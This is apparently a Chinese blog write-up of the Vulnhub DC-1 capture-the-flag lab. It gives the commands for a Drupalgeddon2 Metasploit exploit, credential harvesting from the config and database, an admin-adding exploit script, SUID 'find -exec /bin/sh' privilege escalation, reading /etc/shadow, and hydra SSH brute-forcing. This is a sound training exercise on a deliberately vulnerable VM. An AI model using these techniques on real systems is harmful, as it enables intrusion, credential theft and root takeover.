Vulnhub靶机实战——DC-1

靶机DC-1下载地址:https://download.vulnhub.com/dc/DC-1.zip

描述:靶机DC-1共有5个flag,并且需要root权限才可以找到并查看flag

 

环境:Vmware 15 Pro虚拟机软件

          DC-1靶机IP地址:192.168.220.130

          Kali的IP地址:192.168.220.131

 

本次DC-1靶机渗透测试,靶机与kali都以NAT模式连接网络,查看kali的IP地址:

ip addr

Vulnhub靶机实战——DC-1_第1张图片

使用nmap扫描工具,扫描192.168.220.0/24网段,发现存活主机,断定192.168.220.130是DC-1靶机的IP地址

nmap -sP 192.168.220.0/24 -oN nmap220.sP

Vulnhub靶机实战——DC-1_第2张图片

nmap扫描靶机开放的端口号,扫描范围0-65535,发现开放22(ssh)、80(http)、111和57744共四个端口

nmap -A 192.168.220.130 -p- -oN nmap130.A

Vulnhub靶机实战——DC-1_第3张图片

浏览器输入DC-1靶机IP地址访问网站:http://192.168.220.130

发现网站是用Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本

Vulnhub靶机实战——DC-1_第4张图片

使用msfconsole查找可以针对Drupal的模块

msf > search drupal    #查找可用于Drupal的模块

Vulnhub靶机实战——DC-1_第5张图片

尝试使用查询出来的模块,从一个开始尝试使用,发现只有三、五两个模块可以针对Drupal 使用,并能够成功反弹shell,其他模块皆失败

msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.220.130
msf exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf exploit(unix/webapp/drupal_drupalgeddon2) > run

Vulnhub靶机实战——DC-1_第6张图片

反弹shell后,使用ls命令可以查看在当前/var/www目录下存在flag1.txt

Vulnhub靶机实战——DC-1_第7张图片

查看flag1.txt文本文件

cat flag1.txt

Flag1:

Every good CMS needs a config file - and so do you.

每一个好的CMS都需要一个配置文件-你也是。

查找后发现CMS的配置文件是网站根目录下的/site/defaultx下的setting.php文件

meterpreter > cd sites/default
meterpreter > cat settings.php

查看setting.php配置文件,发现flag2及网站数据库及登录用户名和密码,且flag2提示不要使用字典暴力破解密码,应使用其他方法,通过数据库应该是另外一种方法

Flag2:

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些证件做什么?

数据库信息:

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'host' => 'localhost',

Vulnhub靶机实战——DC-1_第8张图片

使用mysql命令登录,发现MySQL命令无效

meterpreter > mysql -udbuser -pR0ck3t

输入shell,切换外壳,再次登录mysql发现终端不能正常回显信息

meterpreter > shell
mysql -udbuser -pR0ck3t

Vulnhub靶机实战——DC-1_第9张图片

再次进入shell下,输入python命令,发现靶机已安装python 2.7.3,通过pty.spawn()获得交互式shell

meterpreter > shell
python -V
python -c 'import pty; pty.spawn("/bin/bash")'

Vulnhub靶机实战——DC-1_第10张图片

使用上面找到mysql登录用户名和密码登录mysql数据库:

mysql -udbuser -pR0ck3t    #登录MySQL数据库
mysql> show databases;    #查看数据库

Vulnhub靶机实战——DC-1_第11张图片

mysql> use drupaldb;     #使用drupaldb数据库
mysql> show tables;       #查看数据库内的表

Vulnhub靶机实战——DC-1_第12张图片

找到users表,断定和用户密码有关

mysql> select * from users;   #查看users表内容
name:admin  pass:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

找到可用于登录的用户admin和密码密文

Vulnhub靶机实战——DC-1_第13张图片

方法一:

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接

查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc  |  grep VERSION

msf > searchsploit drupal   #查找针对Drupal的攻击脚本

攻击脚本适用于7.31以下,所以适合7.24版本

Vulnhub靶机实战——DC-1_第14张图片

利用drupal7.0版本漏洞增加有admin权限的用户:admin1/admin1

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.220.130 -u admin1 -p admin1   

Vulnhub靶机实战——DC-1_第15张图片

Vulnhub靶机实战——DC-1_第16张图片

查看users表,添加admin1成功

Vulnhub靶机实战——DC-1_第17张图片

使用新添加的用户admin1/admin1登录网站,在content模块下,找到flag3

方法二:

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

使用加密脚本加密新密码123456,生成加密密文

./scripts/password-hash.sh 123456
password: 123456             
hash: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY

修改admin用户的密码,更新为新密码:123456

update  drupaldb.users  set pass="$S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY" where uid=1;

 

使用用户admin/123456登录网站,在content模块下,找到flag3

Vulnhub靶机实战——DC-1_第18张图片

Flag3:

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

Vulnhub靶机实战——DC-1_第19张图片

Flag3提示词有perms、find、-exec、shadow共四个特殊提示词

应该要查看shadow文件,并使用find命令提权

使用find命令查找有特殊权限suid的命令

find / -perm -4000

Vulnhub靶机实战——DC-1_第20张图片

使用find命令提权

find ./ aaa -exec '/bin/sh' \;

查看/etc/shadow 文件,发现flag4用户,并且flag4用户可以登录并且有密码,所以存在flag4的家目录

cat /etc/shadow

Vulnhub靶机实战——DC-1_第21张图片

flag4用户密码可以使用ssh登录进行爆破,如下:

注:爆破flag4用户密码可以省略,可以在root提权后直接进入flag4家目录

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
tar -xvf john-1.8.0.tar.gz  #解压缩
cd john-1.8.0/ src    #进入源码目录下
uname -a  #查看当前系统版本
make linux-x86-64   #编译并指定当前的Linux系统版本

使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange

hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.220.130 -f -vV -o hydraflag4.ssh
login: flag4   password: orange

Vulnhub靶机实战——DC-1_第22张图片

使用flag4用户可以通过ssh登录系统

ssh [email protected]
密码:orange

Vulnhub靶机实战——DC-1_第23张图片

进入flag4用户的家目录/home/flag4,找到flag4.txt文本文件,找到flag4

cd /home/flag4
cat flag4.txt

Vulnhub靶机实战——DC-1_第24张图片

Flag4:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

你能用同样的方法来查找或访问根目录中的标志吗?

可能。但也许不是那么容易。或许是这样?

 

在flag4中提示在root根目录下存在,进入到root家目录/root下找到thefinalflag.txt文本文件

cd /root
cat thefinalflag.txt

Vulnhub靶机实战——DC-1_第25张图片

thefinalflag:

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey

by contacting me via Twitter - @DCAU7

做得好!!!!!

希望你喜欢这个并学到了一些新的技能。

你可以让我知道你对这次小旅行的看法。

通过Twitter联系我-@dcau7

 

五个flag全部找到,并学习到使用msfconsole框架,及使用find命令找suid和提权

 

 

 

你可能感兴趣的:(靶机)